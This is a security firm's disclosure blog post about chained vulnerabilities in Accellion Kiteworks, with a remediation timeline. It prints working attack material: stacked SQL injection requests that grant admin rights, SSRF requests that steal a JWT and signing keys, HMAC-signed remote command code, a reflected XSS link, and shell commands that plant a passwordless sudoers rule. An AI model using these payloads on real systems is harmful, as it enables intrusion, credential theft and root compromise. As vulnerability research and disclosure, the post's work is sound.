More from Insomnia

Check back to read more Insomnia blogs in the coming months.

August 17, 2021

Adam Boileau Executive Director

Accellion Kiteworks Vulnerabilities

Adam discusses a set of of Kiteworks flaws, chained into authenticated user to remote root code exec

During the beginning of 2021, following the widespread compromise of Accellion's older FTA "Secure File Transfer" product, many users were interested in replacing the now deprecated FTA with the newer Kiteworks product. This presented opportunities to review Kiteworks to alleviate customer's concerns that similar issues may exist in the replacement for FTA.

We identified and reported to Accellion several vulnerabilities in Kiteworks.

CVE Version Tested Credit Issue Status
None Allocated 7.3.0-ng13 Jay Huang Authenticated SQLi in Folder-Children ORDER BY Introduced after 7.2.0-ng25, silently patched in later 7.3.0 release, sometime Feb 2021
None Allocated 7.3.0-ng13 Jay Huang Reflected XSS in Files-Zip Introduced after 7.2.0-n25, silently patched in a later 7.3.0 release, sometime Feb-Mar 2021
CVE-2021-31586 7.3.1-ng9 Adam Boileau Authenticated SQLi in LDAP Groups LIMIT Patched in 7.4.0, May 2021
None Allocated 7.3.1-ng9 Tim Goddard Admin-Authenticated SSRF via SMS Service Test Patched in 7.4.0, May 2021
None Allocated 7.3.1-ng9 Adam Boileau Arbitrary File Read via out of date Apache Solr Patched in 7.4.0, May 2021
None Allocated 7.3.1-ng9 Adam Boileau Local Privilege Escalation via Weak Filesystem Perms Planned patch in 7.5.0, but already disclosed publicly by ZX Security

Bug Chaining

In addition to the individual bugs, we weaponised these into a bug chain which:

  • As a low privilege user, invokes one of the SQLis
  • Escalates access to admin via UPDATE to the database
  • Detects and disables originating-IP based restrictions for Administrative access via UPDATE to the database
  • Invokes the admin-only SSRF to obtain a JWT token for making calls to the Admin APIs
  • Invokes the admin-only SSRF to call the Solr file read to extract key material for HMAC signing calls to the Admin APIs
  • Provides a remote command line interface via the /dbapi/cli_exec/execute API
  • Escalates this to root via the LPE

The exploit is implemented as an inline reverse-proxy, which is doing some necessary header-rewriting and redirect handling, and serving the /ccx path. This invokes the victim Kiteworks in an iframe, and injects javascript to carry out the attack.

This is implemented using (fellow kiwi @cortesi's) mitmproxy tool with something like:

mitmproxy --mode reverse:https://realkiteworks/ --script drop_unwanted_headers.py -p 443 -k --map-local '/ccx|srv'

This leads to root command execution on the underlying operating system, for any authenticated user, regardless of the IP-based restrictions. This is, arguably, a more effective bug chain than those used in the FTA attacks.

We did not need the XSS in this chain (as we were authenticated), but a separate PoC did illustrate the utility of the XSS to trigger the SQLi as an unauthenticated attacker through reflecting this off a legitimate user; an example of this is included below.

Individual Bugs & Other Accellion-Hacker Ephemera

The Two SQLi ("squeely" in the local argot) Flaws

The underlying home-grown database query builder library used by Kiteworks does not provide a safe or standard way to handle ORDER BY or LIMIT constraints, and relies on all callers of the library to pre-sanitise the values. Unsurprisingly, this resulted in examples of "squeely", one in each case. Injecting into these constraints is particularly amenable on MySQL/MariaDB because of the ease of stacking another query. As this can then be used to UPDATE the database, the tedium of having to used blind-time-based techniques to exfiltrate data is avoided.

Folder Children

Obtaining a valid folder ID from the list of available folders, a request as follows injects a stacked query into the orderBy parameter.

GET /rest/folders/6f4c2e8e-87ad-4dc7-be97-c71ca294a9fc/children?deleted=false&limit=100&offset=0&orderBy=name:asc,(SELECT%20(CASE%20WHEN%20(3850%3d3850)%20THEN%201%20ELSE%203850*(SELECT%203850%20FROM%20INFORMATION_SCHEMA.PLUGINS)%20END))&with=(description,creator,totalFilesCount,totalFoldersCount,type,secure,permissions,path,currentUserRole,isFavorite,isUnderMyFolder,pathIds,isRoot,rootId,isLdapGroupMember,isShared,avStatus,dlpStatus,lastModifiedBy) HTTP/1.1

LDAP Groups

POSTing to the getLDAPGroup API, a request as follows uses a stacked query to escalate permissions for the user with id 38 to to admin:

POST /webapi/contact/getLDAPGroup%3fsearch_value%3dtest%26search_type%3dfg%26offset%3d1%26limit%3d1234%3b+insert+into+accellion_users.user_admin_roles+(user_id,+admin_role_id)+values+(38,1)%3bcommit%3b%26order_by%3dname%26order_type%3dasc HTTP/1.1

This has an added constraint that, in order to reach the vulnerable query construction, a SELECT count(*) check is made on the table which contains LDAP groups, which must return a non-zero value. The LDAP Group feature in Kiteworks is used to provide integration with Active Directory, to allow users of Kiteworks to share files with groups of other users, based on membership of an AD group. It is unclear what portion of the Kiteworks users use this feature, but it was the case in our target. Note that this is unrelated to the use of AD/LDAP/SAML/etc for authentication.

Kiteworks Squeely Cheat Sheet

Goal Method
Session Theft access_tokens table in the accellion_users database contains session cookies and CSRF tokens, including admin
Privilege Escalation Update the user_admin_roles table in the accellion_users database. Note it may take a login/out or cache expiration to be picked up
Control Bypass Clear out the system|security|admin_ip_restriction setting in the configuration_store table to remove source-IP based restrictions
Email contents The emails table contains all emails sent, including password reset, user activation etc.

Administrative SSRF

Kiteworks allows a number of different SMS backends to be configured by a system administrator, which are used, for example, for SMS-based two-factor authentication. The configuration for the SMS backend, however, allows for a “generic” option where arbitrary HTTP requests can be sent from the Kiteworks host, with a convenient test mechanism to invoke it. This results in a Server-Side Request Forgery primitive.

While the user interface contains logic to prevent requests being directed to “localhost” or “127.0.0.1”, this logic is not enforced by the backend. By modifying the HTTP requests sent to the server directly, arbitrary HTTP requests can be made, and the response body of these requests returned.

This was identified in 7.3.1-ng9, and remediated in 7.3.2-ng19, although the server-side validation added appeared to be bypassable using DNS rebinding (e.g. having a malicious DNS name which resolves to a real address on the first lookup, but to 127.0.0.1 on a subsequent lookup). However these fixes also removed the ability to make HTTP calls (permitting only HTTPS), which was functionally sufficient to neuter practical use of this.

An example call (with a valid admin Cookie and X-XSRF-Token), here to make an onwards call to the local service which issues JWT tokens via this

POST /apiadmin/apps/testSMSService HTTP/1.1
Host: kiteworks.victim
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN: c98a8644173c8115368e073f30d861aa15035f9294dc6d98fd07f296ba6270c60243a4e7a2930a20b8a5dcfa1f709f8c3f149bd9e537ed771e98b429b297c93f
Cookie: ACC-XSRF-TOKEN=c98a8644173c8115368e073f30d861aa15035f9294dc6d98fd07f296ba6270c60243a4e7a2930a20b8a5dcfa1f709f8c3f149bd9e537ed771e98b429b297c93f; web_token=fea36754c8795f24573d496fdb130e41ab7b5e2e1728e00b1faec29d0af1e3fc2802660e121d95f1989e823705c3c910983d03841d2a01a127d9a5701c2874e4
Content-Length: 338

{"settings":{"var_account_key.password":"","var_account_id":"","http_headers":"","module":"generic","template":"blank","http_method":"GET","http_url":"http://127.0.0.1:5000/jwt","http_auth":"basic","response_type":"status_code","disable_ssl_verification":true,"response_ok_status_code":999},"mobile_number":"+6483201234","message":"test"}

The SMS test service includes an expected response code (here 999). When the HTTP call does not result in the expected code, the output is returned to the caller to diagnose the error, very conveniently.

HTTP/1.1 200 OK
Server: nginx
…

{"error":1,"payload":{"msg":"SMS service response status code: 200, expecting status code 999, response content: b'eyJhbGciOiJSUzI1NiJ9.eyJleHAiOjE2MTYzODQxNzcuNDExMjU4MiwiaWF0Ijo[…REDACTED…]'","code":3000,"data":null},"request_context":"c20a128055522e7638b7db098f6cb24fb3fa3aa3"}

Arbitrary File Read via Solr

Kiteworks provides a bundled Apache Solr search engine, which is not provided by the underlying CentOS package manager. As such, it is not automatically updated with the OS. In Kiteworks 7.3.1-ng9, Solr was version 5.5.5 from October 2017. This has a number of known flaws, but these are configuration dependent. In this case, the "Remote Streaming" feature is enabled, which permits an attacker to read arbitrary files from the underlying operating system, with the permissions of the Java runtime.

The Solr server listens only on 127.0.0.1, so is not accessible externally. However, it is possible to call it via the SSRF.

In the following example, the SSRF is used to call Solr, to extract the key material used to HMAC sign admin and intra-cluster API calls:

POST /apiadmin/apps/testSMSService HTTP/1.1
Host: kiteworks.victim
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN: c98a8644173c8115368e073f30d861aa15035f9294dc6d98fd07f296ba6270c60243a4e7a2930a20b8a5dcfa1f709f8c3f149bd9e537ed771e98b429b297c93f
Cookie: ACC-XSRF-TOKEN=c98a8644173c8115368e073f30d861aa15035f9294dc6d98fd07f296ba6270c60243a4e7a2930a20b8a5dcfa1f709f8c3f149bd9e537ed771e98b429b297c93f; web_token=fea36754c8795f24573d496fdb130e41ab7b5e2e1728e00b1faec29d0af1e3fc2802660e121d95f1989e823705c3c910983d03841d2a01a127d9a5701c2874e4
Content-Length: 430

{"settings":{"var_account_key.password":"","var_account_id":"","http_headers":"","module":"generic","template":"blank","http_method":"GET","http_url":"http://127.0.0.1:8983/solr/acc_0/debug/dump?param=ContentStreams&stream.url=file:///opt/prometheus/config/keylib.json","http_auth":"basic","response_type":"status_code","disable_ssl_verification":true,"response_ok_status_code":201},"mobile_number":"+6483201234","message":"test"}

This returns an XML document from Solr, with the file contents:

{"error":1,"payload":{"msg":"SMS service response status code: 200, expecting status code 201, response content: b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n<response>\\n<lst name=\"responseHeader\"><int name=\"status\">0<\/int><int name=\"QTime\">18<\/int><str name=\"handler\">org.apache.solr.handler.DumpRequestHandler<\/str><lst name=\"params\"><str name=\"param\">ContentStreams<\/str><str name=\"stream.url\">file:\/\/\/opt\/prometheus\/config\/keylib.json<\/str><\/lst><\/lst><lst name=\"params\"><str name=\"stream.url\">file:\/\/\/opt\/prometheus\/config\/keylib.json<\/str><str name=\"echoHandler\">true<\/str><str name=\"param\">ContentStreams<\/str><str name=\"echoParams\">explicit<\/str><\/lst><arr name=\"streams\"><lst><null name=\"name\"\/><str name=\"sourceInfo\">url<\/str><null name=\"size\"\/><null name=\"contentType\"\/><str name=\"stream\">{\\n    \"expiry\":1618198562,\\n    \"keys\":[\\n        \"4a0fbb8f[ TRUNCATED :) ] 

Version 7.4.0-ng33 of Kiteworks updated the Apache Solr to version 8.8.2, and the release notes assert that it now auto updates.

On Signing API Calls

The Kiteworks solution has a front end Nginx reverse proxy, which handles all incoming HTTP and vectors requests to the relevant back end components (a mix of PHP CGI, Python-Tornado, and more). As it supports clustered/distributed operation, this mechanism is complicated, and the request flow between components takes some time for a researcher to understand.

API calls between components are generally RESTful style, with the same mechanism used for calls from the admin-facing web application, and between components. Calls are authenticated with a JWT, and an HMAC signature. An attacker who can obtain a valid JWT and the key material to HMAC can simply call into an endpoint like /dbapi/cli_exec/execute via the front-end webserver exposed to the internet, and have arbitrary commands run via the shell.

In the bugchain illustrated above, this is used to build a terminal-like experience for the attacker, having obtained the JWT via SSRF to the JWT issuing service http://127.0.0.1:5000/jwt, which authenticates based on being only reachable locally, and stealing the contents of the /opt/prometheus/config/keylib.json file via the Solr arb-file-read.

The key management process comprises a list of keys that are currently valid, to allow for key rotation. The keylib.json contains list of numeric keyIDs, and corresponding secret value. All calls which use keylib-based signing specify the ID of the key used, so the caller can verify this. The signature is a SHA-512 HMAC over the path of the API (relative to the service, not absolute) and a JSON string of the API arguments, separated by @@. The calling convention is then to POST to the API's externally reachable path, with x-www-form-urlencoded string, containing the JSON arguments for the call, metadata, the JWT, and a key-id:hmac-signature.

The following pseudocode illustrates the signing process for a request to run a shell command cmd, given a global KEYS array and JWT.

async def runCmd(cmd,cb=None):

    k = KEYS[0]
    kid=0
    p = "/cli_exec/execute"
    if STATE==STATE_ROOTSHELL:
        cmd = "sudo " + cmd
    d={'args': [], 'run_sync': True, 'need_shell': True, 'file_content': None, 'cmd': cmd}
    t = '@@'.join((p, json.dumps(d)))
    hm = window.jsSHA.new("SHA-512", "TEXT", { "hmacKey": { "value": k, "format":"TEXT"}})
    hm.update(t)
    sig = hm.getHash("HEX")
    qs = [] 
    qs.append(("data", json.dumps(d)))
    qs.append(('metadata', '{"host":null}'))
    qs.append(('jwt', '"%s"' %  JWT))
    qs.append(('key', '%d:%s' % (kid, sig)))
            
    data = "&".join(["%s=%s" % (k, urllib.parse.quote_plus(v)) for k,v in qs])
    h = getCSRF()
    h["Content-Type"]="application/x-www-form-urlencoded"
    if cb == None:
        cb=cmdReply
 
    console.log("making requests to cli_exec with %s" % data)
    reply = await aio.post("/dbapi/cli_exec/execute", headers=h, data=data)
    console.log("reply: %s" % reply)
    cb(reply.data)

Using the Database

The local MySQL/MariaDB database has a per-installation password. This can be conveniently obtained as follows

Python 2.7.10 (default, Nov 21 2019, 16:14:13) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-36)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from common_utils import common_lib
>>> common_lib.mysql_passwd(user="app_user")
u'dv[ REDACTED ]sK'

Then the database is available via unix socket

mysql -u app_user -S /var/lib/mysql/mysql.sock -p

Reflected XSS

A reflected XSS vulnerability exists in the handling of the /rest/files/actions/zip API, in the folderId:in parameter.

https://kiteworks.victim/rest/files/actions/zip?apiVersion=19&folderId:in=1aaaaaaa-aaaa-aaaa-aaaa-aaaaa%3cimg%20src%3da%20onerror%3dalert(document.location)%3ez9w8r&name=a.zip 

For extra credit, it is possible to target a victim user with this link via the LoginRedir handler, which, if the user is not logged in at the time they click the XSS link, will walk them through the normal authentication flow, before then handing them off to trigger the XSS. If the user is authenticated, then XSS time it is too.

https://kiteworks.victim/login?LoginRedir=/rest/files/actions/zip%3fapiVersion=19%26folderId:in=1aaaaaaa-aaaa-aaaa-aaaa-aaaaa%3cimg%20src%3da%20onerror%3dalert(document.location)%3ez9w8r&name=a.zip

The impact of an XSS in the context of Kiteworks - our proof of concept for the issue enumerates all files accessible to the user, uses the Zip API (correctly without XSSing it) to package up these files, and exfiltrate them. It also uses mage-cart-style keyboard hooking to steal keystrokes, steal credentials (including MFA - handy for moving onwards to Citrix!) through presenting a fake authentication prompt, and to trigger the authenticated SQL injection.

Local Privilege Escalation

The majority of the Kiteworks solution runs as uid=500(prometheus). Where appliance management requires root level access, a privilege gate to uid=0(root) is provided using sudo, with most use of this being vectored through the script /opt/promethus/bin/admin.py which actually does a quite astonishing level of checking of incoming parameters to prevent shell metacharacter injection (suggesting maybe some prior experience with this class of flaw). An enthusiastic researcher with the patience to read the many hundreds of lines of python may find the one that isn't perfectly validated, but the unix aficionado will prefer the comic option:

Cmnd_Alias ADMIN_SYSTEM = /opt/prometheus/bin/admin.py
Cmnd_Alias FIPS_UTILS = /usr/local/bin/fips_utils
Cmnd_Alias PATCH_UTIL = /opt/prometheus/bin/patch.py
prometheus ALL =NOPASSWD: ADMIN_SYSTEM, FIPS_UTILS, PATCH_UTIL
Defaults   secure_path = /opt/bin:/sbin:/bin:/usr/sbin:/usr/bin
Defaults   !requiretty
admin ALL =NOPASSWD: /opt/prometheus/bin/cli.py

Can you spot it?

[root@kiteworks /]# ls -la /opt/prometheus/
total 56
drwxr-xr-x. 10 prometheus prom-wheel  4096 Mar  4 03:09 .
drwx-----x. 19 prometheus prometheus  4096 Feb  9 13:10 ..
drwxr-xr-x.  6 prometheus prom-wheel  4096 Mar 22 09:46 api
drwxr-xr-x. 11 root       root       12288 Mar 15 13:28 bin
drwxr-xr-x.  3 prometheus prom-wheel  4096 Mar  2 14:41 collect_meters
drwxr-xr-x. 16 prometheus prom-wheel  4096 Mar 22 15:15 config
drwxr-xr-x.  9 prometheus prom-wheel  4096 Mar  4 03:09 etc
drwxr-xr-x.  4 prometheus prom-wheel  4096 Mar  2 14:41 lib
drwxr-xr-x.  3 prometheus prom-wheel  4096 Mar  4 03:09 migrate
-rw-r--r--   1 prometheus prom-wheel   226 Mar  2 14:41 PKG-INFO
-rwxr-xr-x   1 prometheus prom-wheel   323 Mar  2 14:41 rpmSetup.py
drwxr-xr-x. 10 prometheus prom-wheel  4096 Mar  2 14:41 var

Yes, while /opt/promethus/bin is owned by root, /opt/promethus is owned by the low privilege user.

cp -a /opt/prometheus/bin /opt/prometheus/lol
echo -e '#!/usr/bin/python\nopen("/etc/sudoers.d/lol", "w").write("prometheus ALL=(ALL) NOPASSWD: ALL")' > /opt/prometheus/lol/admin.py
mv /opt/prometheus/bin /opt/prometheus/hax
mv /opt/prometheus/lol /opt/prometheus/bin
sudo /opt/prometheus/bin/admin.py
mv /opt/prometheus/bin /opt/prometheus/lol
mv /opt/prometheus/hax /opt/prometheus/bin
rm -rf /opt/prometheus/lol

This bug is scheduled for fix in Kiteworks 7.5.0, Q3 2021, but has already been publicly disclosed by fellow kiwis ZX Security after their parallel discovery of it in their own Kiteworks escapades.

Further Research

Kiteworks presents an interesting opportunity for the seasoned researcher. Most of the low hanging bugs have been thrashed out of it through regular pentesting, FedRAMP certification and the like. However, it is also complicated, featureful and structurally challenging, both for the researchers but also the developers and QA teams at Accellion. There are likely future bugs to be found. The document preview functionality in particular resisted a solid week of assessment, and despite no code-exec or SSRF to show for it, it remains a hairs breadth away from RCE.

Timeline

  • Late Jan 2021: Identified flaws in 7.3.0-ng13
  • 3 Feb 2021: Reported to Accellion, customer chooses alternative vendor
  • Feb-Mar 2021: Flaws silently patched in a later 7.3.0 release, unclear which.
  • Mar/Apr 2021: Identified remaining flaws in 7.3.1-ng9
  • 9 April 2021: Reported to Accellion, customer inquires about applicability of bug bounty (which there is no answer to)
  • 10 April 2021: Accellion generates remediation plan for bugs (which is delivered via Accellion's own instance of Kiteworks, which we have to... create an account on to read)
  • May 2021: Accellion releases fixes (7.4.0-ng33) for all but local-privesc, and issues CVE-2021-31586 without credit
  • 11 Aug 2021: Requested clarification from Accellion that all bugs are now considered patched or disclosed.
  • Aug 2021: This release, after enough time has passed that customers will have patched.

For Today's Extra Content

Kiteworks has a feature which will generate "read only" versions of documents, which involves rendering down the various media formats to a PDF, which shares a lot of code with the document preview functionality, which generates thumbnails and preview images.

This feature - parsing untrusted content in the context of a security appliance - seems like the sort of thing that should cough up a shell in short order, or at the very least an SSRF or file-read primitive. It was a focus of quite some research effort, and despite a week of work, your author does not feel like he has plumbed its depths sufficiently to say that is is safe to use.

The document preview functionality comprises a PHP program which handles the overall process that implements a number of parsing flows for different document types, which invokes software such as Libreoffice, ImageMagick, wkhtmltopdf, and ghostscript. To attempt to limit the impact of flaws in these software packages (of which there have been many examples), the parsing is performed within a sandbox, implemented using the “firejail” opensource package.

This sandbox is insufficient to mitigate the impact of file read or code execution vulnerabilities, however it does limit the impact of server-side request forgery or other attacks that rely on being able to make an outbound network connection during exploitation. A sandbox escape mechanism is documented below.

Our review attempted to assess avenues for end to end exploitation of the solution, however a viable path was not identified within the time available. In a number of cases, a vulnerability was prevented by accident, or through the product not functioning as intended. In the future, if the relevant feature is fixed to work correctly, the solution may become vulnerable. Some examples of this are discussed below.

Overall, while no working end-to-end exploit was developed within the time available, it is assessed as likely to be possible.

  • Ghostscript Sandbox Escape and Code Execution

Postscript is a full featured language, closely related to PDF, for describing printable documents, and parsing this is performed by executing the file in a postscript interpreter. The Ghostscript opensource interpreter provides a number of parsing modes designed to limit the use of dangerous functionality to make parsing untrusted content safer. Two versions of Ghostscript are utilised within the document parsing process. One is a RedHat packaged version (9.25) with backported security patches, and the other is shipped in Accellion provided code (/opt/bin/gs), version 9.50. This version is vulnerable to a Ghostscript sandbox escape flaw (CVE-2020-15900, identified by an Insomnia Security consultant on another engagement), which leads to code execution. In combination with the Firejail sandbox escape described elsewhere, the processing of postscript documents by the preview process is unsafe.

  • Reaching Ghostscript Directly

However, the path to reach Ghostscript is complicated – the only case where documents are directly passed to Ghostscript unmodified is where the file is identified (through the PHP FileInfo “magic”-style MIME-type detection) as a PDF. No mechanism to generate a valid (to Ghostscript) postscript file that also passed the “magic” test as PDF was identified within the time available, however it remains possible that a suitable document can be produced.

Another avenue to reach Ghostscript is where it processes output from other stages of the pipeline, such as the output of HTML rendering from wkhtmltopdf. A step exists to count the pages in PDFs generated from other software, which uses Ghostscript. Avenues to control the generation of postscript with sufficient granularity were not investigated within the time available, as this was considered less promising than other avenues. A third direct approach is that images which fail to be identified as specifically supported images (where they return from the “magic” routine as MIME type prefixed with image/ but which does not match an allow-list of specifically handled formats) are passed to a “skip” handler, which, if the file is also named with the suffix .pdf (but contains Postscript), should result in being handed off to Ghostscript, through a code path that is unintentional. A document that meets these criteria was developed, however, due to inconsistent generation of intermediate filenames, the “skip” handler names the file incorrectly and the invocation of Ghostscript fails.

  • Embedded Postscript In Document Formats

Another approach is to embed malicious Postscript documents within other documents, which may themselves invoke Ghostscript. An example of this exists in Libreoffice’s processing of embedded postscript images, where Libreoffice relies on Ghostscript to rasterise the postscript into images. An exploit document was developed which successfully executes code on the appliance when run in a test harness, but which does not work in the real flow. This was traced down to a configuration of the Firejail sandbox, which unintentionally breaks the mechanism that Libreoffice uses to execute subprocesses. Libreoffice’ routine for invoking a subprocess attempts to call setgid() to set the group identifier of the subprocess, but does so by obtaining the primary group from the passwd database, rather than the calling runtime environment. This call fails because the sandbox has switched to a supplementary group. This is likely to prevent correct functioning of a number of aspects of the document previewing process, and is a good candidate for a functionality bug that may be fixed at some point in the product’s life, leading to vulnerability.

  • Ghostscript via Tiff File Handling

Ghostscript is also reachable via GraphicMagick, which is a fork of ImageMagick, which is used by Kiteworks to process Tiff image files. GraphicMagick is configured to invoke many other software components to parse content it does not have native support for, which includes postscript. If it is possible to craft a file which passes the PHP FileInfo “magic” test as an image/tiff MIME type, but which is identified as postscript by GraphicMagick, this leads to code execution. No simple mechanism to do this was identified within the time available, however, the TIFF format has a number of features (e.g. being a container format for sub-files) which may be processed recursively.

  • Ghostscript via ImageMagick

ImageMagick is used to process other image formats, and will also use Ghostscript to do so. However, in the case of the Kiteworks appliance, the version of ImageMagick used is from the upstream CentOS Linux distribution, which builds ImageMagick to use an in-process interface to the shared library version of Ghostscript, libgs. Due to the library path search order, this results in using the version of libgs from CentOS, 9.25, which is too old to be vulnerable to CVE-2020-15900. A significant number of other flaws do affect this version, however the RedHat security team has backported fixes to the older version. This review did not attempt to exhaustively validate that these fixes are adequate.

ImageMagick also has a long history of security flaws. In this case, the security fixes backported by RedHat prevent some convenient known methods, however the chances of a new ImageMagick flaw arising within the lifetime of the product is high, and is entirely reliant on backporting of security fixes by RedHat, and timely deployment of these into the Kiteworks appliance. It is also noted that RedHat has recently moved to change the support model for CentOS, which may change the posture of systems that rely heavily on such backporting.

  • Other Attack Surface Via ImageMagick and GraphicMagick

Both Image- and GraphicMagick packages are configured to “delegate” processing out to other applications. Some of these are present within the appliance runtime environment, such as ffmpeg. Others are there but not necessarily in a state that works (for example, both will invoke the Libreoffice suite, but attempt to do so via an older name (it was previously “Open Office” and “Star Office”). Both attempt to invoke it via soffice, while the name in current release is soffice.bin, with a wrapper libreoffice. Other avenues may exist to call other software components, such as via xdg-open. These were not explored in the time available. In both cases, these software packages use different rules to guess the type of a file than the front-end PHP, including the ability to override these based on filename, which provides a rich source of potential flaws which rely on confusion about filetypes between components.

  • Wkhtmltopdf

Wkhtmltopdf is used to process html and text documents into PDF, and is invoked with Javascript disabled, which does limit the attack surface somewhat. HTML documents can still be used to read files from within the sandbox (where, for example, database backups exist). Wkhtmltopdf is built on the webkit HTML rendering engine, which is related to Safari, Chrome and Edge browsers, all of which are subject to regular new security flaws in their rendering engines. The version of whtmltopdf installed is 0.12.5, which is not the latest, and is not provided by the CentOS package, which means it will not receive security fixes except when explicitly done so by Accellion. It is likely that current or future flaws in this package can be exploited, however this review did not prioritise attempting to triage and assess the many webkit flaws for relevance to this situation, as it was assessed the Postscript based avenue would be more promising.

It is also noted that the maintainers of Wkhtmltopdf explicitly – in bold – assert that their software is unsuitable for this exact use case.

img

  • FFMpeg

The document previewer appears intended to support video files via FFMpeg. This package also has a history of security flaws and misfeatures (such as container formats that specify other resources via URI, leading to file inclusion and server-side-request-forgery). In this case, FFMpeg is sourced from the CentOS packages, benefiting from security patches. Paths through the converter code which would reach ffmpeg were not entirely clear, and were not investigated completely in this review.

  • Firejail Sandbox

The Kiteworks appliance attempts to limit the impact of document parsing flaws by running the process in a sandbox, built using the opensource “Firejail” software. This uses existing Linux isolation components such as namespaces, seccomp, and filesystem permissions to limit the files and network resources available. While this is a good step, and does limit the impact of some classes of flaw, it is clear that the sandbox configuration has not been reviewed by a security expert. The configuration limits access to the filesystem, but does so in a hard to understand way, resulting in access to a number of sensitive files which are likely not intended, such as database backups in /kw/tmp/db_backups, which may contain session tokens for authenticated users. The sandbox correctly limits access to network resources to prevent server-side request forgery attacks, by limiting access to inet sockets. In normal use, this would be a robust defence, however the specific configuration of the Kiteworks appliance renders this ineffective. The appliance uses Nginx as a frontend webserver, which then vectors requests onwards to the back-end components, such as Python and PHP web applications. This communication between nginx and the back-end services is done via Unix domain sockets. In particular, the deployment of PHP is done using the “fastcgi” mechanism, where a long running PHP server receives requests to invoke scripts, to avoid the cost of process start-up. In FastCGI, the caller is trusted to provide the path to the script to execute. From inside the Firejail sandbox, it is possible to make a Unix stream socket connection to the PHP FastCGI server, and request that it execute a php script from a directory that is writable from inside the sandbox, such as /tmp. This can be used to trivially escape the sandbox – the following screenshot shows the difference between the output of the id command when run inside the sandbox, and via FastCGI outside the sandbox:

[prometheus@lol-h1 tmp]$ id
uid=500(prometheus) gid=1003(no-network) groups=1003(no-network)

[prometheus@lol-h1 tmp]$ python3 fcgi.py /run/kiteworks/php-cgi.sock /tmp/  'id -a'
Content-type: text/html; charset=UTF-8

uid=500(prometheus) gid=501(prometheus) groups=501(prometheus),500(prom-wheel),1003(no-network)

In this case, a python script is used to form binary FCGI protocol messages, and transmit them via the php-cgi.sock unix socket. A python runtime is available within the sandbox, as it is part of the Libreoffice package. Once outside the sandbox, the attacker is able to read the platform authentication keys use to authenticate administrative webservice calls from the relevant keylib.json file.

Afterword

Your correspondent hopes never to see uid=500(prometheus) ever again.

img

To find out more